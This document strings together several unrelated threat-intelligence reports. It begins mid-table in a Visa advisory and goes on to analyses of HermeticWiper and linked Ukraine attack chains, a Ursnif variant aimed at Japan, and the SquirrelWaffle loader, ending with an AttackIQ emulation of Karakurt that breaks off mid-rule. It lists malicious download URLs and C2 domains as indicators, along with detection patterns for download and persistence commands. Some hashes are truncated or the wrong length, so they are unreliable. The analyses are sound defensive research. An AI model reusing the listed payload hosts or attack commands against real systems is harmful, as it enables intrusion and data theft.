Nvsvc.exe | Accessed through MicrosoftTM, Windows Internet Explorer, Shift4 Corporation Universal | | Nvsvc.exe | Transaction Gateway, PAR Springer-Miller Systems | | Rdp.exe | Looks like a test | | Winini.exe | Client stub | - Additionally, Visa recommends the following best practices to reduce the risk of exposure: - Educate employees on how to avoid phishing scams and opening emails with attachments. - Maintain updates for all software and patches (address zero-day vulnerabilities). - Turn on heuristics (behavioral analysis) on anti-malware to search for suspicious behavior. Visa will continue to report any mitigation guidance, technical indicators of compromise associated with this compromise, or additional details on the overall extent of the compromise as details are made available. For questions and information, please contact [email protected]. To report a data breach, contact Visa Fraud Control: - Asia Pacific Region, Central Europe/Middle East/Africa Region: [email protected] - U.S. and Canada: [email protected]
# HermeticWiper & Resurgence of Targeted Attacks on Ukraine ## Summary Since January 2022, ThreatLabz has observed a resurgence in targeted attack activity against Ukraine. We identified two attack chains in the timeframe from January to February 2022, which we attribute to the same threat actor with moderate confidence. It is important to note that we are not attributing the attacks to any nation-state backed threat actors at this point, since we don't have full visibility into the final payloads and the motives of the attack. The C2 infrastructure re-use points to the Gamaredon APT threat actor; however, more visibility is needed for proper attribution. The first attack chain was reported by the CERT team of Ukraine on February 1, 2022. It involved spear phishing emails sent to the "State Administration of Seaports of Ukraine." The samples corresponding to the next-stage document template and the VBScript payload were not available in the public domain. We were able to identify the document template and VBScript payload, and we aim to share the technical analysis in this blog. On February 11, 2022, we identified a sample uploaded to VirusTotal from Ukraine, which resulted in our discovery of a previously undocumented attack chain. We describe the technical details of this second attack chain in the blog. By pivoting on the metadata of the files, we were able to discover seven unique samples and trace the origins of the campaign back to November 2020. On February 23, 2022, there were reports of a new sophisticated wiper malware hitting several organizations in Ukraine with the objective of destroying data and causing business disruption. The ThreatLabz team analyzed the malware payload involved and uncovered several new tactics used in these attacks. A ransomware decoy known as PartyTicket was also observed being deployed during these attacks. In this blog, we will look at the technical details of these recent attacks targeting commercial and public entities in Ukraine. ## 1. HermeticWiper DoS Attack - Technical Analysis HermeticWiper is a sophisticated malware family designed to destroy data and render a system inoperable. The wiper is multi-threaded to maximize speed and utilizes a kernel driver for low-level disk access. These driver files appear to be part of an outdated version of the EaseUS Partition Master application developed by CHENGDU YIWO Tech Development. The HermeticWiper malware sample with SHA256 `1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591` was compiled on February 23, 2022, and was digitally signed with a valid certificate issued to Hermetica Digital Ltd. The malware supports two command-line arguments that control the maximum duration to spend destroying data before forcing the system to reboot. After parsing the command-line, HermeticWiper calls `OpenProcessToken()` with the access mask `TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY`. If the wiper does not have sufficient privileges, it will terminate without performing any malicious actions. Otherwise, HermeticWiper will attempt to grant itself the privileges `SeShutdownPrivilege` and `SeBackupPrivilege` and install a Windows kernel driver. The driver is embedded in the malware’s resource section, which contains the names and SHA256 hashes shown in the table below: | Driver Filename | Compressed SHA256 | Decompressed SHA256 | |------------------|-------------------|---------------------| | DRV_X64 | e5f3ef69a534260e899a36cec459440dc572388defd8f1d98760d31c700f42d5 | 96b77284744f8761c4f2558388e0aee2140618b | | DRV_X86 | b01e0c6ac0b8bcde145ab7b68cf246deea9402fa7ea3aede7105f7051fe240c1 | 8c614cf476f871274aa06153224e8f7354bf5e23 | | DRV_XP_X64 | b6f2e008967c5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd | 23ef301ddba39bb00f0819d2061c9c14d17dc30 | | DRV_XP_X86 | fd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91f3c281233c17d | 2c7732da3dcfc82f60f063f2ec9fa09f9d38d5cfbe | The specific driver that is extracted depends on whether the Windows operating system version is 32-bit or 64-bit and Windows XP or newer. The functions used to determine the Windows operating system version are `VerSetConditionMask` and `VerifyVersionInfoW`. These functions are rarely seen compared to the standard `GetVersion` functions to identify the Windows version. After these resources are extracted from the binary, the Windows LZ extraction library functions are used to decompress them. The Windows command-line utility `expand.exe` can also be used to manually decompress the drivers. The certificate for these signed drivers is registered to CHENGDU YIWO Tech Development Co., Ltd., but expired on September 11, 2014. These driver files appear to be part of the EaseUS Partition Master application developed by CHENGDU YIWO Tech Development. The driver file is written to the Windows drivers directory with a filename that includes two alphabetic characters that are pseudorandomly chosen using the current process ID concatenated with the string "dr" and appended with a .sys extension (e.g., `lxdr.sys`). HermeticWiper will then elevate its privileges to `SeLoadDriverPrivilege`, load the driver, and start it as a service. The malware disables the `vss` (Volume Shadow Copy) service used for backing up and restoring data and sets the `CrashDumpEnabled` registry value to zero in the registry key `HKLM\SYSTEM\CurrentControlSet\Control\CrashControl` to disable crash dumps. This ensures that if the malware crashes, Windows will not produce a crash dump file that can be used to identify the cause. The registry values `ShowCompColor` and `ShowInfoTip` are also set to zero (i.e., disabled) under the registry key `HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced` to suppress pop-ups and other indicators of data destruction. The driver registers itself as a device named `EPMNTDRV` to expose itself to the userland component of HermeticWiper. The malware enumerates physical disks 0-100 and destroys the Master Boot Record (MBR) on every physical disk by overwriting the first 512 bytes with random data. The malware then parses the file system to determine whether the partition is NTFS or FAT. If the file system is NTFS, it will overwrite the Master File Table (MFT) that stores information about every file on the system. Hermetic also targets files located in the following directories: - `C:\System Volume Information` - `C:\Windows\SYSVOL` - `C:\Documents and Settings` - `C:\Windows\System32\winevt\Logs` After the data destruction occurs, a forced reboot will occur. As a result, the boot loader will not be able to load the operating system. ## 2. Targeted Attacks ### Timeframe - November 2021 Onwards During our analysis, we found a C2 infrastructure overlap between the two targeted attack chains. ### Attack Chain #1 The attack chain #1 infection starts with an email that has a malicious RAR archive attachment. The victim downloads and extracts the RAR archive contents, which contains a malicious document file themed using the ongoing geopolitical conflict between Russia and Ukraine. **Stage 1: Document** The document on execution simply downloads a macro-based template from the specified remote location. **Stage 2: Macro Template** The macro code inside the template is obfuscated by adding a lot of junk code. This inflates the size of the macro code and hinders code analysis. The main operation it performs is to drop and execute a VBScript. **Stage 3: VBScript** This stage-3 VBScript, called GammaLoad, is obfuscated similar to the macro code. On execution, it performs the following operations: 1. Collects user and system information for exfiltration. 2. Grabs the IP address associated with the configured C2 domain using WMI. 3. Sends a network request to download the next stage payload using the IP address obtained and exfiltrates the information collected. 4. Drops and executes the downloaded payload. ### Attack Chain #2 We identified another attack chain used by the same threat actor, which is not documented anywhere in the public domain. Based on our research, this campaign has been active since as early as November 2020, and only seven unique samples have been identified to date. The most recent instance was observed on February 11, 2022. This low-volume campaign involves RAR archive files distributed through spear phishing emails. These RAR archive files contain a malicious Windows shortcut file (LNK) that downloads the MSI payload from the attacker-controlled server and executes it on the endpoint using MSIEXEC. This results in the packaged NSIS binary being dropped on the system and starting the infection chain. The steps below summarize the activity: 1. Call the export function: "oqiuqqaxaicm" in the DLL file - `ypagjgfyy.dll` and pass it two parameters: the encrypted string and the decryption key. 2. The decrypted string is a URL. 3. Call the `download_quiet` function in `nsisdl` to fetch the contents of the URL. 4. The response is saved in a file. 5. Call the export function: “cfyhayyyu” in the DLL file and pass it three parameters. 6. The code can take two paths based on whether the file was successfully created. ## Infrastructure Overlap and Re-use During our analysis of the targeted attacks, we found that one of the C2 domains, "download.logins[.]online," which was used to host the MSI payload as part of attack chain #2, was previously attributed to the Gamaredon APT threat actor. At that time, it was used to host a macro-based template document, which overlaps with attack chain #1. ## Zscaler Coverage We have ensured coverage for the payloads seen in these attacks via advanced threat signatures as well as advanced cloud sandbox. ### Advanced Threat Protection - Win32.Trojan.KillDisk - Win32.Trojan.HermeticWiper ### Advanced Cloud Sandbox ## Indicators of Compromise ### Attack Chain 1 **Hashes** - MD5: `9fe8203b06c899d15cb20d2497103dbb` - RAR archive - MD5: `178b0739ac2668910277cbf13f6386e8` - Document - MD5: `714f8341bd1c4bc1fc38a5407c430a1a` - Template **C2 Domains** - coagula[.]online - deer.dentist.coagula[.]online - declaration.deed.coagula[.]online - surname192.temp.swtest[.]ru **Download URLs** - Template: - http://surname192.temp.swtest[.]ru/prapor/su/ino.gif - http://surname192.temp.swtest[.]ru/prapor/su/derg.gif - http://surname192.temp.swtest[.]ru/prapor/su/flagua.gif - http://surname192.temp.swtest[.]ru/prapor/su/flages.gif - Secondary payload: - 94.158.244[.]27/absolute.ace - 94.158.244[.]27/distant.cdr **Associated IPs** - 94.158.244[.]27 ### Attack Chain 2 **Hashes** - MD5: `7c1626fcaf47cdfe8aaed008d4421d8c` - RAR archive - MD5: `5f568c80ab68a4132506f29ede076679` - LNK - MD5: `c3564bde7b49322f2bacdc495146cfbc` - MSI **C2 Domains** - kfctm[.]online - my.cloud-file[.]online - my.mondeychamp[.]xyz - files-download.infousa[.]xyz - download.logins[.]online **Download URLs** - MSI: - http://kfctm[.]online/0802adqeczoL7.msi - http://my.cloud-file[.]online/Microsoft_VieweR_2012.msi - http://my.mondeychamp[.]xyz/uUi1rV.msi - http://my.mondeychamp[.]xyz/ReadMe.msi - http://files-download.infousa[.]xyz/Windows_photo_viewers.msi - http://files-download.infousa[.]xyz/Windows_photo_viewer.msi - http://download.logins[.]online/exe/LinK13112020.msi ## Appendix I NSI script
# New Ursnif Variant Targets Japan Packed with New Features **Written By** Cybereason Nocturnus March 12, 2019 | 10 minute read Research by: Assaf Dahan The Ursnif trojan (also known as Gozi ISFB) is one of the most prolific information stealing Trojans in the cybercrime landscape. Since its reappearance in early 2013, it has been constantly evolving. In 2015, its source code was leaked and made publicly available on Github, which led to further development of the code by different threat actors who improved it and added new features. Over the past few years, Japan has been among the top countries targeted by Ursnif’s operators. In 2018, Cybereason as well as other security companies reported attacks where Ursnif (mainly the Dreambot variant) and Bebloh (also known as URLZone and Shiotob) were operating in conjunction. In these joint campaigns, Bebloh is used as a downloader that runs a series of tests to evaluate whether it is running in a hostile environment (for example, it checks to see if it is running on a research VM). Once the coast is clear, it downloads Ursnif, which carries out its core information stealing functions. The newly discovered Ursnif variant comes with enhanced stealing modules focused on stealing data from mail clients and email credentials stored in browsers. The revamping and introduction of new mail stealer modules puts an emphasis on the risk that Trojans can pose to enterprises if corporate accounts are compromised. With more and more banking customers shifting to mobile banking and the continuous hardening of financial systems, it is not surprising that Trojans are focusing more than ever before on harvesting other types of data that can also be monetized and exploited by the threat actors, including mail user accounts, contents of email inboxes, and digital wallets. ## Old-New Tricks, New Variant Since the beginning of 2019, Cybereason researchers have observed a campaign that specifically targets Japanese users across multiple customer environments. This campaign introduced a new Ursnif variant as well as improved targeted delivery methods through Bebloh. ### Ursnif’s new variant main changes: 1. A new, stealthy persistence mechanism (“last minute persistence”). 2. New, revamped stealing modules (“#IESTEALER#”, “#OLSTEALER#”, “#TBSTEALER#”). 3. Cryptocurrency and disk encryption software module (e.g., Bitcoin, TrueCrypt). 4. An Anti-PhishWall module to counteract PhishWall, a Japanese security product. Enhanced country-targeted delivery methods to ensure the delivery of Bebloh include: 1. Modified VBA code that specifically checks Japanese settings on the infected machine. 2. PowerShell that compiles a .NET DLL to check language settings (Japanese). 3. An added IP geolocation check to determine whether the infected machine is in Japan. ### Stage One: Phishing via Office Documents The first stage of the attack starts with a weaponized Microsoft Office document attached to a phishing email. When the user opens the document, the Japanese text instructs the unsuspecting user to click on the Enable Content button. They expect to see a preview of a document, but instead, it will execute the embedded macro code. #### Modified VBA Macro Targets Japanese Users The macro code is obfuscated and results in the execution of several PowerShell commands. However, before the PowerShell commands are decrypted and executed, the VBA macro checks if the victim machine has Japanese country settings. This technique was previously seen in 2018, but the attackers modified the code in this version to make it less obvious and harder to detect. #### Old VBA Country Check The previous check consisted of comparing the country setting to the value of ‘81’ for Japan, using the function xlCountrySetting. If the machine doesn’t have Japanese settings, the macro code exits. #### New VBA Country Checks The new country check function in this variant makes it less obvious to understand which country is being targeted; however, it can still be easily inferred with a bit of basic calculation. The new code checks the country setting, adds ‘960’ to it, and stores the new value in a parameter. The SensitiveLine() function checks if the value of “opa” is greater than ‘1039.93’, in which case, the macro code will continue. If not, the code will exit. ### Stage Two: Paranoid PowerShell Downloader Once the macro code ensures that the machine is Japanese, it decrypts the PowerShell payload, sets it as environment variables, and executes the code. The code is heavily obfuscated and contains a set of additional tests to ensure that the targeted machine not only has Japanese settings but is also physically located in Japan prior to downloading Bebloh’s payload. #### New Language Setting Test Before downloading the payload, the PowerShell code runs a final language check to ensure the target is indeed Japanese. It matches the result of the Omk() function against ‘j’, for Japanese. The file is compiled and dropped in the %temp% folder. #### Geo-IP Location Check The downloader’s last test is a geolocation test using the ipinfo.io API to verify that the IP address is Japanese. ### Usage of Steganography to Hide the Payload in Plain Sight Once all the checks are done, the PowerShell code downloads an image file hosted on an image sharing website. The embedded content is decrypted by the following PowerShell code, which is based on the Invoke-PSImage steganography project. ### PowerSploit Reflectively Loads Bebloh The decrypted PowerShell code embedded in the image is based on the PowerSploit framework that uses the reflective PE injection module Invoke-ReflectivePEInjection to load and execute Bebloh’s code to memory. Once Bebloh is injected to explorer.exe, it downloads Ursnif’s loader payload from the C2 server. ### Stage Three: Ursnif’s Loader The malicious gyehtuegg.exe (Ursnif Loader) spawns an instance of explorer.exe. Ursnif’s loader unpacks the main payload (client.dll / client64.dll), which is embedded in the loader’s PE resource section (RT_RCDATA). Prior to its decryption, the loader conducts a series of tests to determine whether it is running in a hostile environment, namely, whether it is being debugged or run in a sandbox or virtual machine. ### Stage Four: Ursnif Core Payload client.dll The injected DLL payload includes an interesting PDB path of client64.dll, suggesting that it is Gozi ISFB version 3. Its build number (version number) extracted from memory indicates that its version is “300035”. The compilation date is 22/02/2019, which also suggests that it was compiled recently. ## Notable Changes in Core Functionality Throughout the years, Ursnif’s original code has changed to introduce different strains and new features. Based on our code analysis, the newly observed variant bears great resemblance to the Dreambot variant. However, it lacks some commonly observed built-in features like the Tor client and VNC module. The new variant exhibits several new or revamped features, such as: - A new persistence mechanism (last minute persistence that resembles Dridex’s persistence). - Revamped and new stealer modules (IE Stealer, Outlook Stealer, Thunderbird Stealer). - A cryptocurrency and disk encryption software module. - An Anti-PhishWall module to counteract PhishWall, a Japanese security product. ### New Stealthy Persistence Mechanism One of the most noticeable changes observed in this new variant is the implementation of a new persistence mechanism designed to evade detection. The newly observed persistence mechanism is based on the "last minute persistence" model. This model creates its persistence at the very last moment before the system shuts down. Once the system is rebooted and the loader injects the core DLL to explorer.exe, it immediately deletes its registry autorun key along with the files stored in %appdata%. ### Detailed Persistence Creation Logic The malware creates an invisible window used for internal communication between the trojan’s different components. Ursnif uses this window among other things in order to catch the WM_QUERYENDSESSION message. This message is typically sent when the system is about to shut down, thus alerting the malware of an imminent shutdown. ### Detailed Persistence Removal Logic Once the system boots and the user is logged on, the loader runs and injects the core DLL to explorer.exe. Once the trojan’s code runs, it checks for the existence of the “ProgMan” window, indicating that the explorer.exe process is running. It checks whether the malware code is running from the same process (explorer.exe), likely as an anti-debugging measure. It deletes registry keys and the %appdata% folder where the .lnk and .exe files exist based on the Install key in HKCU\Software\AppDataLow\Software\Microsoft\{GUID}. ### Changes in the Information Stealing Modules The new variant (V3) exhibits changes in the code of its stealer modules in comparison with previous versions. The new variant’s mail stealing functionality seems to have undergone a major update that includes enhancements and some new functionality, like a Microsoft Outlook stealer, an Internet Explorer stealer, and a Mozilla ThunderBird stealer. ### CryptoCurrency and Encrypted Drives Stealer The new variant seems to add the ability to steal data from cryptocurrency wallets as well as disk encryption software. ## Thwarting Security Products Modules ### Anti-PhishWall Module The new variant adds a built-in anti-PhishWall module to its capabilities. This module runs extensive tests to detect and disable the PhishWall product and browser plugin. ### Anti-Rapport Module While Ursnif’s alleged Anti-Rapport module is not new, it is quite rare to see this module among the variants that hit Japan recently. This Ursnif variant comes with an Anti-Rapport module which seems heavily based on Carberp’s Anti-Rapport code. ## Conclusion Ursnif and Bebloh continue to be among the most common information stealing Trojans that target Japanese users. The development cycle and the introduction of targeted delivery techniques and variants observed in Japan is quite frequent. It changes tactics every one to two months, in an attempt to evade detection by traditional security products and some sandbox solutions. What stands out in these campaigns is the great effort made by threat actors to target Japanese users, using multiple checks to verify that the targeted users are Japanese. These multiple tests prove to be quite effective not only in targeting the right crowd but also in evading security products such as sandboxes, since the malicious code will not run unless the country/language settings are properly configured. We assess that this new wave of country-based targeted delivery is likely to become more and more popular in future campaigns. Lastly, our research demonstrates that the new variant seems to be quite unique and customized for Japan. It comes with robust information stealing features that focus on mail data, a new evasive persistence mechanism, and a module to bypass a Japanese security product. Some of the new features of this variant seem to draw inspiration from other Trojans that are popular in Japan, such as Bebloh and Shifu. According to Cybereason's telemetry, this variant has been spotted only in Japan so far. ## Indicators of Compromise **Excel Document (Macro)** - DA85A7DE0B48881EF09179B800D033F27E8F6A01 - 6BEF7B72A0D314393FAE5F7915A5440DF2ABCF5F - A1CC4B824A35B5E1A016AA9AC0FAC0866C66BFFC - 12E6EEA2EC60AC530CB6F683619ED4F571558C3F - F23EDE071D9F0274430D06E2C6E33FF1B1803C5F - B4707DA9396F1BBD3179A10F58815F1E58AC02FA **.NET language checker** - Ettivyph.dll - 14181A8F9ACF8B3C55076BEF21217EAF83062B5A **Ursnif Loader (1st Stage):** - gyehtuegg.exe - 2B21C3237105DEE871C252633AE65125E78AC23E - Ewwhuptgfq.exe - 99882D848ADF3818AD758B951303F12649967247 - Ehuwowstsg.exe - 6EABB986CBA048EE1B81BD884F6ABDD38B7CB5DA - Iiwrghesya.exe - F1F6E136EEAC66278359EB6DAF406FD8504107DB - Bthcan32.exe - C8488A58B5ECE9104AEFBBBB0334199E2E3C3D56 - Awerwyae.exe - 610B9128E56D488C7C2C700BD6C45A0250312129 - Winklogon.exe - 1D78AA605450C5C02D23BD065996A028A59DE365 - FEWPSQUUST.EXE - 8BB7240A38534881FDE3ADD2179EF9E908A09BE8 - 1770BE655DB3AC9B6561F2CC91DD9CD5DEA3D69B - 0147FCC93C78A823BE94191FAE8A105549390C03 **Unpacked Loader (dumped from memory)** - 1BB1BDA50D3C7BAD92872C4FE334203FB706E7C3 **Client64.dll (dumped from memory)** - 8F6536397DC5E0D7699A1B2FDE87220C5D3648BCB - B6CB96E57951C123B9A5F5D6E75455AFF9648BCB **Client.dll (dumped from memory)** - 35F7AD2300690E0EB95F6F327ACA57354D8103FF **Domains** - baderson[.]com - Mopscat[.]com - Gorsedog[.]com - Pintodoc[.]com - Ropitana[.]com - Pirenaso[.]com - Papirosn[.]com - delcapen[.]com **Steganography URLs** - hxxps://i.imgur[.]com/96vV0YR[.]png - hxxp://oi65[.]tinypic[.]com/2z8thcz[.]jp
# SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot **Gustavo Palazolo** **October 7, 2021** **Co-authored by Gustavo Palazolo and Ghanashyam Satpathy** ## Summary In September of 2021, a new malware family named SquirrelWaffle joined the threat landscape. It spread through malicious Microsoft Office documents attached in spam emails. The infection flow starts with a ZIP file that contains the malicious Office document. When the file is opened by the victim, the malicious VBA macros download SquirrelWaffle DLL, which eventually leads to deploying another threat, such as CobaltStrike or QakBot. In this blog post, we will analyze two variants of the malicious Office documents that deliver SquirrelWaffle. We will also analyze the final SquirrelWaffle payload and how the last stage URLs are being protected inside the binary. ## SquirrelWaffle Office Documents We have identified two variants used to deliver SquirrelWaffle, a Microsoft Word document and a Microsoft Excel spreadsheet. ### Malicious Word Document The first variant is a malicious Microsoft Word file that mimics a DocuSign document, asking the victim to click “Enable Editing” and “Enable Content” to view the content. The file contains several VBA macros, including junk code. The main routine lies in a function named “eFile”, which is executed by the “AutoOpen” functionality. Aside from all the junk added by the developer, we can see two important pieces of data when we open the VBA editor: a PowerShell script and a batch script that executes the PowerShell script. These routines are kept inside the text property of Visual Basic Control instead of in a regular VBA module. The purpose is to evade AV detection. Looking at the “eFile” function, we can see that both PowerShell and the batch script are created in the user’s AppData directory, respectively named “www.ps1” and “www.txt”. This behavior can be observed with Procmon. Later, the VBA code executes the batch script, using the Windows “cscript.exe” binary. Looking at those files closely, we can see that the PowerShell script is responsible for downloading SquirrelWaffle DLL using five distinct URLs, likely to add more resilience to the process. The downloaded DLLs are saved into “C:\ProgramData\” and named “www[N].dll” where [N] is a number from 1 to 5. And the batch script, which is executed by the malicious document, is responsible for executing the PowerShell script and the SquirrelWaffle payload DLL. Once downloaded, the DLL is executed through “rundll32.exe”, which calls an exported function named “ldr”. Both “cscript.exe” and “rundll32.exe” are legitimate files from Windows, used by this sample to connect to the C&C servers and to download and execute the next stage payloads. This technique is known as Living-off-the-Land (LoL), which consists of using legitimate binaries to perform malicious activities. We have already covered other malware families that employ this technique, such as BazarLoader. ### Malicious Excel Document The second variant identified by Netskope is a malicious Microsoft Excel file, containing a fake message that also tries to deceive the victim into clicking the “Enable Editing” and “Enable Content” buttons. The file uses Excel 4.0 (XML) macros that are obfuscated and spread across many hidden sheets in the document. The developer also changed the font color to hide the code, which can be revealed when we change the font property. When the Macros are executed, the obfuscated code is written into seven different cells, containing many calls to Windows APIs. Simply put, this code contacts three different URLs to download SquirrelWaffle DLL, which is saved into “C:\Datop\test[N].test”, where [N] is null or a number (1 and 2). The DLL is then executed through Windows “ShellExecuteA” API. Regardless of the variants we described, the goal is to download and execute SquirrelWaffle DLL. In this section, we will analyze a payload identified on September 17, 2021, named “www2.dll”. The file uses a custom packer to hide the main payload. The unpacking process is not very complex: The first step the code does is load and execute a shellcode. Once running, the shellcode unpacks the payload compressed with aPlib, which is commonly used by malware to compress files or configurations. The data is then decompressed into a new memory location, and the unpacked DLL is eventually executed. Once unpacked and decompressed, we can dump the bytes into the disk to analyze the file in a disassembler. The payload is a 32-bit DLL likely compiled on September 17, 2021, although this information can’t be 100% reliable. Looking at the DLL exports, we can see the function (“ldr”) that is called by the batch script we’ve shown earlier in this post. The main goal of SquirrelWaffle is to download and execute additional malware. The developers included a feature that hides important strings in the binary, like the C2 server list. By looking at the PE “.rdata” section, we can find the encrypted information, along with the decryption key. To decrypt the data, the malware uses a simple rolling XOR algorithm. We created a simple Python script that is able to decrypt the data from SquirrelWaffle samples, by implementing the same logic. There are two major blocks of encrypted data. The first one is a large list of IP addresses. This list is used by the malware as a blocklist, likely to avoid the malware from being analyzed by sandboxes. The second list contains the payload URLs, which SquirrelWaffle uses to download additional malware. The SquirrelWaffle sample from this campaign was downloading a CobaltStrike beacon, using “.txt” as an extension. Aside from CobaltStrike, SquirrelWaffle was also found delivering QakBot, which is a modular banking trojan and information stealer, active since 2007. ## Conclusion SquirrelWaffle is a new malware loader that is being used to deliver Cobalt Strike and QakBot. The infection vector occurs through spam emails with malicious Office documents that eventually download SquirrelWaffle DLL. Although this malware was spotted delivering Cobalt Strike and QakBot so far, we are continuously monitoring this threat as it can be used by more malware families. Netskope Advanced Threat Protection provides proactive coverage against zero-day samples including APT and other malicious Office documents using both our ML and heuristic-based static analysis engines, as well as our cloud sandbox. ## IOCs **SHA256 Hashes** Infected “.doc”: fb41f8ce9d34f5ceb42b3d59065f63533d4a93557f9353333cbc861e3aff1f09 Infected “.xls”: 2f3371880117f0f8ff9b2778cc9ce57c96ce400afa8af8bfabbf09cb138e8a28 SquirrelWaffle DLL: 00d045c89934c776a70318a36655dcdd77e1fedae0d33c98e301723f323f234c CobaltStrike Beacon: 3c280f4b81ca4773f89dc4882c1c1e50ab1255e1975372109b37cf782974e96f The full list of IOCs, the script that decrypts SquirrelWaffle configuration, and a Yara rule can be found in our Github repository.
# Attack Graph Response to US CERT AA22-152A: Karakurt Data Extortion Group Earlier this week we published a blog post on the release of a new AttackIQ assessment addressing the ingress of tools and malware associated with the Karakurt Data Extortion Group recently highlighted by US-CERT Alert AA22-152A. Today we are following up with the release of an in-depth attack graph that fully emulates their tactics, techniques, and procedures. Karakurt is a financially motivated adversary focused on data extortion that has already affected more than 40 organizations across multiple industries and regions. Based on available intelligence, we have observed that the adversary is primarily focused on data theft for subsequent extortion, and not on traditional ransomware encryption or destructive attacks. Validating your security program performance against this type of attack is paramount in reducing risk. By using this new attack graph in the AttackIQ Security Optimization Platform, security teams will be able to: 1. Evaluate security control performance against common persistence, discovery, and data exfiltration techniques. 2. Assess security posture for the techniques used by an actor focused on data theft and the extortion of victims with threats to publicly release data. 3. Continuously validate detection and prevention pipelines against actor activity that may have variable initial access methods but a common hands-on keyboard approach. ## Attack Graph Emulation of Karakurt Techniques The Karakurt threat actors are cybercriminals who typically gain access to victim networks from various initial access brokers using stolen credentials or through the exploitation of common vulnerabilities like Log4Shell or Zerologon. Our attack graph emulation starts after that initial access has already been achieved. Once inside their target of opportunity, they focus on establishing persistence via Cobalt Strike and establishing a network connection with their command and control infrastructure. - **Ingress Tool Transfer (T1105)**: Download and save samples of the actor’s phishing documents and Cobalt Strike malware. - **Application Layer Protocol (T1071)** and **Fallback Channels (T1008)**: Emulate command and control connectivity with failover options for HTTPS, HTTP, and DNS protocols. - **Windows Service (T1543.003)**, **Registry Run Keys (T1547.001)**, and **Windows Management Instrumentation (T1047)**: Cobalt Strike has a plethora of persistence options; our attack graph will try a subset of these methods to find a successful foothold. Now that persistence has been established, Karakurt focuses on gathering additional credentials that can be leveraged to move laterally to other systems or access remote external servers. - **Account Discovery (T1087)**: Use living off the land commands like “net user” to obtain a list of additional accounts known to the infected host. - **OS Credential Dumping (T1003)**: Karakurt has been observed using Mimikatz to dump passwords and hashes for Windows accounts. Armed with their new credentials, the actor is going to start the discovery phase of their attack to find connectable hosts, files, and folders of interest, which will guide their lateral movement using native operating system functionality like Remote Desktop. - **System Network Connections Discovery (T1049)**: Continue to leverage living off the land commands like “netstat” and “net use” to find other systems remotely connected to the initial foothold host. - **File and Directory Discovery (T1083)**: Karakurt will be looking at the local host and remote shares to find sensitive files that can be stolen and held as ransom. Generating file and directory lists to identify data files to speed up their assessment. - **Remote Desktop Protocol (T1021.001)**: Combining the dumped credentials and the discovered remote hosts, the actor will attempt to move laterally to another host and repeat their discovery process until they have collected enough data to exfiltrate. Once their discovery and lateral movement actions are completed, it’s time for Karakurt to begin staging the stolen data and exfiltrate it to actor-owned external resources. They will attempt to use cloud providers or SFTP for bulk exfiltration. If all else fails, they can fall back to Cobalt Strike for data exfiltration over HTTP. - **Local Data Staging (T1074.001)**: This actor prefers to conduct bulk exfiltration operations, so collecting and staging data in a single place assists with this method. - **Exfiltration to Cloud Storage (T1567.002)**: Karakurt has been observed downloading and using command-line tool, Rclone, to exfiltrate files to ‘Mega.io’ or other cloud providers. - **Exfiltration Over Asymmetric Encrypted Non-C2 Protocol (T1048.002)**: Additionally, the actor has been observed bringing FileZilla into the environment to exfiltrate data over SFTP. - **Exfiltration Over C2 Channel (T1041)** and **Exfiltration Over Unencrypted Non-C2 Protocol (T1048.003)**: If the bulk exfiltration attempts are thwarted, the actors have the option of using their Cobalt Strike backdoor to exfiltrate over an HTTP connection. ## Opportunities for Extending the Attack Graph In addition to what’s already covered in the attack graph, there are two additional techniques employed by this threat actor that are also part of the AttackIQ platform. Security teams can easily extend this Attack Graph with a simple clone operation followed by the addition of these scenarios, or they can create new assessments if their environments meet the scenario requirements: 1. **Dump Active Directory Databases (T1003.003)**: One high-value objective for cyber threat actors is to obtain a copy of the Active Directory database so that it may be attacked offline. Karakurt has been observed dumping the NTDS.dit database from a domain controller once administrative access has been achieved. This scenario must be executed on a domain controller asset. 2. **Exfiltrate Files over SFTP (T1048.002)**: Attackers, including Karakurt, commonly use covert data exfiltration methods to avoid detection. Adding this SFTP exfiltration scenario is recommended to assist in detection and prevention of this technique. This scenario requires an accessible server that supports Secure Shell and the valid credentials to access the remote resource. ## Detection and Mitigation Opportunities With so many different techniques being utilized by threat actors, it can be difficult to know which to prioritize for prevention and detection opportunities. AttackIQ recommends first focusing on the following techniques emulated in our scenarios before moving on to the remaining techniques. 1. **Ingress Tool Transfer (T1105)**: Stopping or identifying when the threat actor is bringing down their toolset after the initial compromise will help prevent follow-up actions those tools facilitate. Once a malicious actor has compromised an endpoint, they may attempt to transfer tools or malware onto the device using applications like PowerShell, certutil, Bitsadmin, and Curl. - **Detection Process**: The following Sigma rules can help identify when suspicious file downloads are being conducted: - **PowerShell Example**: - Process Name == (Cmd.exe OR Powershell.exe) - Command Line CONTAINS ((“IWR” OR “Invoke-WebRequest") AND “DownloadData” AND “Hidden”) - **certutil Example**: - Process Name == Certutil.exe - Command Line Contains (“-urlcache” AND “-f” AND “http”) - **Bitsadmin Example**: - Process Name == Bitsadmin.exe - Command Line CONTAINS (“/transfer” AND “http”) - **Curl Example**: - Process Name == Curl.exe - Command Line CONTAINS (“http” AND “-o”) - **Mitigation Policies**: MITRE recommends the following mitigations: M1031 2. **Windows Service (T1543.003)**, **Registry Run Keys (T1547.001)**, and **Windows Management Instrumentation (T1047)**: Persistence is a key inflection point in an actor’s attack lifecycle. Concerned about their potential loss of access, they are going to take steps to ensure they will remain on the infected host after reboots or partial remediation efforts. Disrupting their ability to maintain their foothold will help prevent their immediate return. - **Detection Process**: The following rules can help identify when those persistence mechanisms are being set. - **Service Creation**: - Process Name == (Cmd.exe OR Powershell.exe) - Command Line CONTAINS (‘sc’ AND ‘create’ AND ‘start= “auto”’) - **Registry Run Keys**: - Process Name == powershell.exe - Command Line CONTAINS ("Set-ItemProperty" AND (“HKLM” OR “HKCU”) AND “Software\Microsoft\Windows\CurrentVersion” AND (“run” OR “runonce”)) - Process Name == (“cmd.exe” OR “powershell.exe”) - Command Line CONTAINS “reg.exe” AND "add" AND (“HKLM” OR “HKCU”) AND “Software\Microsoft\Windows\CurrentVersion” AND (“run” OR “runonce”)) - **Windows Management Instrumentation**: - Source == "WinEventLog:Microsoft-Windows-WMI-Activity/Operational" - EventCode == (“5859” OR ("5861" AND ("ActiveScriptEventConsumer" OR "CommandLineEventConsumer" OR "CommandLineTemplate")) - Provider != "SCM Event Provider" - Query != "select * from 